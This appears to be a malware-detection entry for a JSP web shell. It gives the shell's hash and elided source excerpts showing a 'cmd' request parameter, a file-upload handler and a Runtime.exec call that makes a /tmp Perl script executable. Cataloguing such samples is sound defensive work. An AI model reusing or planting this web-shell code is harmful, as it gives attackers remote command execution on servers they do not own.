苦咖啡专用.jsp
JSP webshell executes commands
JSP runs the cmd request parameterWeb Shell
SHA-256ecdf082e9f45ff9d6b8376c4f83ef177472f65f4f9296bd07efc43bdd3bbcefb
MaleculeO(C₂)H₂(CmPo)Md(Pt)Th
Evidence
1<%@page contentType="text/html;charset=utf-8"%>
2<%@page import="java.io.*,java.util.*,java.net.*"%>
3<%
4 session.setMaxInactiveInterval(6000);
5 final String URL = request.getRequestURI();
6 final String isLogout = request.getParameter("isExit");
7 System.out.println(isLogout);
8 if("isExit".equals(isLogout)){
⋯4 lines
⋯5 lines
152
153 public String getTimeElapsed() {
154 long time = (System.currentTimeMillis() - starttime) / 1000l;
155 if (time - 60l >= 0) {
156 if (time % 60 >= 10)
⋯8 lines
481:34… t;
482 strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor;
483 if (strAfterComma == "")
484 strAfterComma = ".0";
485 return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
486 }%>
487<%
⋯4 lines
492 String strFile = request.getParameter("file");
493 String strPath = strDir + strSeparator + strFile;
494 String strCmd = request.getParameter("cmd");
495 StringBuffer sbEdit = new StringBuffer("");
496 StringBuffer sbDown = new StringBuffer("");
⋯4 lines
670:12… ht = parser.processData(request.getInputStream(),
671 bound, tempdir, clength);
672 if (ht.get("cqqUploadFile") != null) {
673 FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
674 File f1 = fi.file;
675 UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
676 if (info != null && info.aborted) {
677 f1.delete();
⋯5 lines
1095:27… trShell[1];
1096 strCommand[2] = "chmod +x /tmp/tst.pl";
1097 //System.out.println(strCommand);
1098 Process p = Runtime.getRuntime().exec(strCommand, null,
1099 new File(strDir));
1100 BufferedReader br = new BufferedReader(
⋯4 lines